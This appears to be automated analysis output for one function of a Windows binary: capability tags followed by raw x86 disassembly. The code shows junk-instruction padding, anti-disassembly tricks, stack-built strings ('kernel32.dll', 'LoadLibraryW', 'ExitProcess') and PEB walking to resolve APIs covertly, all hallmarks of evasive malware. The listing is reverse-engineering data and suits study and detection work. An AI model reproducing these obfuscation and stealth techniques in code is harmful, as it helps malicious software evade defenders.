Function at 0x4158f8
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edi
jmp 0x415012
and edi, 0x261f
pop edi
push esi
xor esi, 0x9ebb
and esi, 0x71cd
and esi, 0x112ab
call 0x41503a
add byte [eax + 0x50], al
inc esp
cmp cl, byte [esi + 0x43]
xor ecx, dword [ebx - 0x7d]
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
or edx, 0x15c32
add edx, 0x183db
or edx, 0x14c3d
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0xa385
and ecx, 0x4ca1
xor ecx, 0x135b5
and ecx, 0x7ca8
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edi
push edi
add esp, 4
sub edi, 0x13311
add edi, 0xb78
call 0x4150e4
add byte [ecx], bh
cmp eax, 0x503f3241
dec esi
xor eax, 0x5f04c483
push edx
sub edx, 0x2717
add edx, 0xfe43
pop edx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ecx
xor ecx, 0xaef9
add ecx, 0x389c
add ecx, 0x17197
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0x13407
sub esi, 0xcc5d
pop esi
push ebx
push eax
add esp, 4
jmp 0x415158
pop ebx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edx
push eax
add esp, 4
and edx, 0x1802f
or edx, 0x17337
and edx, 0x1393b
and edx, 0x4d95
pop edx
push esi
sub esi, 0x8e9e
sub esi, 0x820c
sub esi, 0x17fb
pop esi
mov dword [ebp - 0x1fa4], 0xe
push eax
and eax, 0xee2f
sub eax, 0xfd55
or eax, 0x5ad4
pop eax
push eax
push edi
add esp, 4
xor eax, 0x7339
add eax, 0x3589
add eax, 0x9522
and eax, 0x1077e
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push edi
xor edi, 0xaf23
xor edi, 0x9567
sub edi, 0xd826
and edi, 0x119e6
pop edi
push esi
push edi
add esp, 4
call 0x41523b
add byte [ebx], bh
dec eax
cmp dword ds:[edi + 0x39], ecx
xor al, 0x41
xor al, 0x83
les eax, [esi + ebx*2]
mov dword [ebp - 0x1fa8], 0xffffffff
push edx
sub edx, 0xe8a7
or edx, 0xbf65
sub edx, 0x6bc5
sub edx, 0x61b0
pop edx
push edi
push edi
add esp, 4
xor edi, 0x122f2
and edi, 0xbe53
sub edi, 0x51f
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x415298
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edx
push esi
add esp, 4
xor edx, 0xc5f2
call 0x4152af
add byte [ecx + 0x50], cl
xor eax, dword [eax + 0x3c]
dec edx
add esp, 4
sub edx, 0x1504b
call 0x4152c6
add byte [ebx + 0x35], cl
inc edi
dec ecx
dec esp
inc ebx
inc ebp
inc esi
add esp, 4
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x415312
test dword [ebx + edi*8], esi
invalid
push edx
push ecx
add esp, 4
add edx, 0x119f3
add edx, 0xa48e
call 0x4152fb
add byte [ebp + 0x33], cl
dec ebp
dec esp
dec ebx
xor cl, byte [ecx + 0x45]
xor eax, 0x8104c483
loop 0x4152cb
mov bl, 0
add byte [edx + 0x57], bl
and edi, 0x6618
pop edi
jmp 0x415540
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ecx
or ecx, 0xe7a6
call 0x41533c
add byte [esi + 0x35], al
aaa
inc ecx
aaa
xor eax, dword ss:[ebx - 0xe7efb3c]
xor al, 0x74
add byte [eax], al
xor ecx, 0x58ed
pop ecx
push ecx
or ecx, 0x125b1
or ecx, 0x1202b
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x4153c1
push ecx
and ecx, 0x2aac
pop ecx
push edx
push ecx
add esp, 4
jmp 0x415391
pop edx
push edx
push edx
add esp, 4
or edx, 0x147fd
or edx, 0x14176
sub edx, 0x56e9
add edx, 0xe539
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x4154f2
cmp dword [ebp - 0xc08], 0
jle 0x4154e6
push ecx
or ecx, 0x1687a
or ecx, 0x17c4b
jmp 0x4153e2
jmp 0x4153eb
pop ecx
push eax
push eax
add esp, 4
or eax, 0x9135
pop eax
push esi
and esi, 0x7f0c
pop esi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x415482
push ebx
or ebx, 0x15b1c
or ebx, 0x15b88
and ebx, 0x12b78
jmp 0x415431
pop ebx
push esi
xor esi, 0xa1c2
and esi, 0x15585
pop esi
push ebx
sub ebx, 0xdbea
pop ebx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41546a
mov dword [ebp - 0x14c0], 1
jmp 0x415474
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x4154e6
push ebx
call 0x415490
add byte [ecx + 0x49], al
inc esp
inc edx
dec esp
xor esi, dword [0x5b04c483]
push ebx
and ebx, 0x9719
sub ebx, 0xc18c
pop ebx
push eax
push edi
add esp, 4
and eax, 0x15ff2
xor eax, 0x11998
pop eax
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
dec dword [ebx - 0xa677b]
inc dword [ebx - 0x7a76fe40]
cwde
cmc
invalid
dec dword [ebx - 0xa6373]
inc dword [ebx - 0x7276fe3f]
pushfd
cmc
invalid
invalid
jmp 0x4153c1
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x41553b
push ebx
push eax
add esp, 4
and ebx, 0xa40f
sub ebx, 0x8148
sub ebx, 0x33e9
pop ebx
push eax
call 0x415523
add byte [0x3c3b4735], dh
dec eax
inc ecx
inc edx
xor eax, dword [ebx - 0x377efb3c]
jmp 0x58415555
jmp 0x415289
push ecx
push esi
add esp, 4
and ecx, 0x30ca
pop ecx
push edx
push eax
add esp, 4
xor edx, 0x5266
sub edx, 0xdf9b
or edx, 0x14263
pop edx
push edi
add edi, 0x17c85
xor edi, 0x161fd
pop edi
mov dword [ebp - 0x3cc], 0
push eax
jmp 0x415584
call 0x415590
add byte [edx + 0x41], al
dec edx
cmp byte [edi], bh
push eax
add esp, 4
add eax, 0x1838d
pop eax
push ebx
xor ebx, 0x175a4
sub ebx, 0xd81c
jmp 0x4155ad
pop ebx
push ecx
push edx
add esp, 4
or ecx, 0xd73c
add ecx, 0x2599
or ecx, 0x82f3
sub ecx, 0x16a9
pop ecx
push ebx
or ebx, 0x4a5
or ebx, 0x15dc0
xor ebx, 0xc46d
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push esi
add esi, 0xf8b2
add esi, 0x110e
pop esi
push edi
push esi
add esp, 4
and edi, 0x841b
add edi, 0x6e34
or edi, 0xfa5d
pop edi
push edi
push edi
add esp, 4
add edi, 0xb45a
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
push eax
push ecx
add esp, 4
sub eax, 0xfebf
pop eax
push eax
jmp 0x415644
and eax, 0x13ce4
sub eax, 0x13b3
xor eax, 0xa17a
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0xc44b
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x415680
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push eax
add esp, 4
or edi, 0xba19
pop edi
push esi
push edx
add esp, 4
xor esi, 0x13732
and esi, 0xa5d3
xor esi, 0x6616
pop esi
push eax
add eax, 0xe06e
add eax, 0x17c6a
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4156fa
push esi
push eax
add esp, 4
sub esi, 0x33ef
xor esi, 0x139fd
add esi, 0x67fb
xor esi, 0x1745d
pop esi
push ecx
call 0x4156f1
add byte [esi], bh
inc eax
xor al, 0x49
dec eax
dec edi
cmp al, byte [edx + 0x46]
add esp, 4
pop ecx
jmp 0x415928
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push esi
push edi
add esp, 4
and esi, 0x15ff1
add esi, 0xdeb5
pop esi
push edi
add edi, 0x143f2
call 0x415735
add byte [edx], bh
aaa
xor ecx, dword [esi + 0x33]
xor eax, dword [ebx + 0x7eb04c4]
cmp edi, dword [eax]
cmp eax, 0x39493b33
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x4157a9
push ebx
push ecx
add esp, 4
or ebx, 0x5228
pop ebx
push edi
jmp 0x415778
pop edi
push eax
call 0x415788
add byte [edi], bh
inc esp
dec eax
xor ecx, dword [ecx + 0x3b]
dec eax
aaa
add esp, 4
or eax, 0xa50c
xor eax, 0xd9cb
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4158da
cmp dword [ebp - 0xc10], 0
jle 0x4158ce
push eax
jmp 0x4157c0
and eax, 0x1c05
pop eax
push edx
push edx
add esp, 4
add edx, 0x49b0
pop edx
push ebx
xor ebx, 0x1960
jmp 0x4157e1
xor ebx, 0x4446
pop ebx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41586a
push edi
push edx
add esp, 4
jmp 0x41580c
add edi, 0x14ae8
xor edi, 0x609f
pop edi
push esi
call 0x415826
add byte [edi], dh
xor bh, byte [edx]
cmp al, 0x42
xor al, 0x83
les eax, [ecx + eax*4]
into
clc
dec edx
add byte [eax], al
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x415852
mov dword [ebp - 0x14cc], 1
jmp 0x41585c
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x4158ce
push esi
push esi
add esp, 4
or esi, 0x286f
xor esi, 0xc26e
xor esi, 0x10de1
pop esi
push esi
push ecx
add esp, 4
jmp 0x41588f
sub esi, 0x69b5
sub esi, 0x9d20
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x4157a9
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x415923
push eax
push ecx
add esp, 4
call 0x4158f8
add byte [edi], bh
inc ebx
inc edi
aas
cmp al, byte [ecx + 0x4f]
inc ebp
dec ebp
aaa
add esp, 4
pop eax
push ebx
sub ebx, 0x591e
jmp 0x415908
xor ebx, 0xb441
sub ebx, 0x2219
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x415964
jmp 0x415671
push edx
push eax
add esp, 4
xor edx, 0x5db5
add edx, 0x7388
pop edx
push ebx
sub ebx, 0x55b7
pop ebx
push eax
push ebx
add esp, 4
or eax, 0xd3f2
add eax, 0x7119
and eax, 0xc9b1
pop eax
mov dword [ebp - 0xa5c], 0
push eax
or eax, 0x1aee
and eax, 0x11189
jmp 0x415979
pop eax
push ecx
jmp 0x415981
xor ecx, 0x68d1
or ecx, 0x44be
jmp 0x415995
pop ecx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
and ebx, 0x9500
or ebx, 0x6129
pop ebx
push ebx
call 0x415a06
add byte [ebp + 0x34], cl
cmp byte [esi], dh
dec edi
dec edx
inc edx
add esp, 4
and ebx, 0x149a6
or ebx, 0x1189c
and ebx, 0xb507
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
sub esi, 0x26ea
pop esi
push eax
push ecx
add esp, 4
or eax, 0x13b56
pop eax
push ebx
sub ebx, 0x670
xor ebx, 0x4cd6
call 0x415ae3
add byte [eax + 0x3b], al
inc esp
dec edi
inc esi
inc ebp
xor al, 0x83
les eax, [ebx + ebx*2]
push ecx
call 0x415af7
add byte [edx], dh
cmp byte [esi + 0x40], al
xor edi, dword [esi]
inc esi
inc ebp
inc eax
add esp, 4
call 0x415b07
add byte [esp + edi + 0x48], al
xor dh, byte [esi]
dec esi
inc edi
add esp, 4
jmp 0x415b12
or ecx, 0xa541
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
jmp 0x415b4a
sub ecx, 0xfe66
sub ecx, 0xc3c5
add ecx, 0xa04
pop ecx
push esi
jmp 0x415b66
or esi, 0x1bbc
add esi, 0x4141
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x415b8b
mov dword [ebp - 0x2e0], 0
jmp 0x415e47
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
xor edx, 0x114dd
add edx, 0x15748
xor edx, 0x8ad4
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0x17798
or ecx, 0x7ce9
sub ecx, 0x11595
add ecx, 0xd809
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x415be7
mov dword [ebp - 0x2e0], 0
jmp 0x415e47
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
and eax, 0x9c23
call 0x415c09
add byte [ebx], dh
inc ebx
dec eax
inc edx
xor ecx, dword [eax + 0x3e]
dec edx
dec ebp
add esp, 4
xor eax, 0x16593
and eax, 0x14289
pop eax
push ecx
push ecx
add esp, 4
add ecx, 0x3703
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
push edi
add esp, 4
jmp 0x415c5e
sub esi, 0x10f60
pop esi
push edx
xor edx, 0x1488b
or edx, 0x15277
call 0x415c80
add byte [0x4a40393d], bh
dec esp
dec esp
dec ecx
add esp, 4
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edx
add edx, 0x1c21
add edx, 0x367a
sub edx, 0x10a3a
xor edx, 0x8248
pop edx
push ebx
push eax
add esp, 4
and ebx, 0xc7ed
add ebx, 0x4f99
add ebx, 0xfc24
pop ebx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x415d33
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x415d96
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x415c52
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x415c52
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x415d80
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x415d8a
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x415ddf
push eax
push edx
add esp, 4
add eax, 0x114de
pop eax
push edx
push edx
add esp, 4
add edx, 0xc1f9
pop edx
push ecx
sub ecx, 0xce40
and ecx, 0x5169
and ecx, 0x1703f
add ecx, 0x524e
pop ecx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x415e47
push edi
push edi
add esp, 4
add edi, 0xe5f9
and edi, 0x7438
pop edi
push edx
push edx
add esp, 4
and edx, 0x15cd7
pop edx
push edx
xor edx, 0xe763
and edx, 0x1bbc
add edx, 0x17702
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x415e3d
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x415bf3
mov dword [ebp - 0x2e0], 0
push edi
call 0x415e58
add byte [edi + 0x32], cl
dec edx
aaa
cmp byte ds:[eax + 0x34], cl
inc ebx
dec ebx
add esp, 4
sub edi, 0xeb88
call 0x415e6d
add byte [eax + 0x34], cl
cmp eax, dword [ecx + 0x43]
inc eax
add esp, 4
pop edi
push edi
and edi, 0xcd0b
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x416792
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
and eax, 0x168ae
and eax, 0x1341e
call 0x415f39
add byte [eax + 0x44], cl
inc esp
inc esi
dec esi
dec ebx
inc ebx
add esp, 4
xor eax, 0x98b9
pop eax
push eax
or eax, 0x17aa
sub eax, 0xe689
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
or esi, 0x15544
call 0x415fe7
add byte [ebx], bh
inc edx
xor al, 0x4a
aaa
xor bh, byte [ebx]
add esp, 4
or esi, 0xa3ba
pop esi
push ebx
add ebx, 0x150a2
xor ebx, 0x8985
add ebx, 0x12e43
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x41601d
mov dword [ebp - 0x6ec], 0
jmp 0x4162d9
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
sub eax, 0xdf5
and eax, 0x101be
or eax, 0x5f4e
pop eax
push ecx
push edx
add esp, 4
and ecx, 0xfbbc
or ecx, 0x80e1
or ecx, 0x568d
add ecx, 0x17f4b
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x416079
mov dword [ebp - 0x6ec], 0
jmp 0x4162d9
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push eax
add esp, 4
jmp 0x416092
add ebx, 0x424f
sub ebx, 0x12678
jmp 0x4160a6
pop ebx
push ebx
jmp 0x4160b0
and ebx, 0x6cec
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
xor ecx, 0x34b5
call 0x4160fb
add byte [0x3b4e3636], bh
cmp byte [esi + 0x4d], al
xor dh, byte [ebx]
add esp, 4
sub ecx, 0xd6f0
call 0x416112
add byte [ebx], bh
dec eax
dec ebp
inc ebx
dec ebx
dec esp
dec ebx
aaa
add esp, 4
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
add esi, 0x8c0c
and esi, 0x14534
pop esi
push ecx
xor ecx, 0x122b8
xor ecx, 0xf052
sub ecx, 0x3bed
call 0x41619e
add byte [edi + 0x3d], cl
cmp al, 0x44
dec esi
aas
cmp eax, dword [ebx + 0xf5904c4]
mov bh, 0x85
cld
invalid
push esi
push esi
add esp, 4
call 0x4162ea
add byte [ecx + 0x39], cl
inc esp
push eax
inc ebx
dec esp
add esp, 4
and esi, 0x18355
call 0x416301
add byte [ebx + 0x3b], al
dec esp
dec esi
cmp eax, 0x834b4e32
les eax, [ecx + eax*4]
idiv byte [ebx]
pop ebp
add dword [eax], eax
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x416355
push ebx
push ecx
add esp, 4
or ebx, 0x12f66
add ebx, 0xeb71
or ebx, 0x122b
add ebx, 0x9358
pop ebx
push ecx
add ecx, 0x8aeb
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x9e29
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x416e7c
push ebx
sub ebx, 0xe987
and ebx, 0x1029a
pop ebx
push edi
call 0x416371
add byte [esi + 0x40], cl
dec edx
cmp byte [edi], dh
xor al, 0x83
les eax, [ecx + eax*4]
out dx, eax
sbb byte [ecx], bl
add byte [ecx + 0xf9ffc7], al
add byte [ecx + 0xee11f7], al
add byte [edi - 0x75], bl
test dword [ecx + edi*8], edx
invalid
push eax
push ebx
add esp, 4
xor eax, 0x66e5
sub eax, 0x5b14
call 0x4167b2
add byte [ecx], bh
inc eax
dec ecx
aas
push eax
xor al, 0x4b
add esp, 4
pop eax
push eax
xor eax, 0xd853
sub eax, 0xf804
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
call 0x4167fb
add byte [ebp + 0x36], cl
xor bh, byte [esi]
inc esi
dec eax
dec ebx
cmp al, 0x4f
add esp, 4
pop esi
push esi
push edi
add esp, 4
and esi, 0x592
or esi, 0x1379c
sub esi, 0x177ad
sub esi, 0xa0f3
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x416835
mov dword [ebp - 0x2e0], 0
jmp 0x416adc
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
push eax
add esp, 4
sub esi, 0x7663
add esi, 0x14f42
xor esi, 0x34b6
pop esi
push esi
and esi, 0x12921
jmp 0x41686c
or esi, 0x122c
or esi, 0x13d91
pop esi
cmp dword [ebp - 0xc3c], 0
jne 0x416891
mov dword [ebp - 0x2e0], 0
jmp 0x416adc
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
push ebx
add esp, 4
add edi, 0x7cbc
pop edi
push ecx
and ecx, 0x15b3f
pop ecx
push edi
xor edi, 0x1ddc
call 0x4168c5
add byte [ecx + 0x34], al
dec ebp
inc esi
cmp byte [eax + 0x46], al
add esp, 4
jmp 0x4168ce
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
and edx, 0x3dd3
sub edx, 0x3840
sub edx, 0x1266
pop edx
push esi
push edi
add esp, 4
sub esi, 0x117b1
add esi, 0x1754a
sub esi, 0xc99a
sub esi, 0x957
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edi
add esp, 4
add edx, 0xbd9d
pop edx
push eax
jmp 0x416996
xor eax, 0x16841
jmp 0x4169a5
pop eax
push eax
sub eax, 0xd484
and eax, 0x14b50
pop eax
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4169d1
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x416a2b
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4168f9
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4168f9
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x416a15
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x416a1f
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x416a74
push edi
jmp 0x416a3d
sub edi, 0x6c40
or edi, 0xaa38
sub edi, 0x124f1
pop edi
push eax
push edi
add esp, 4
jmp 0x416a5d
jmp 0x416a65
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x416adc
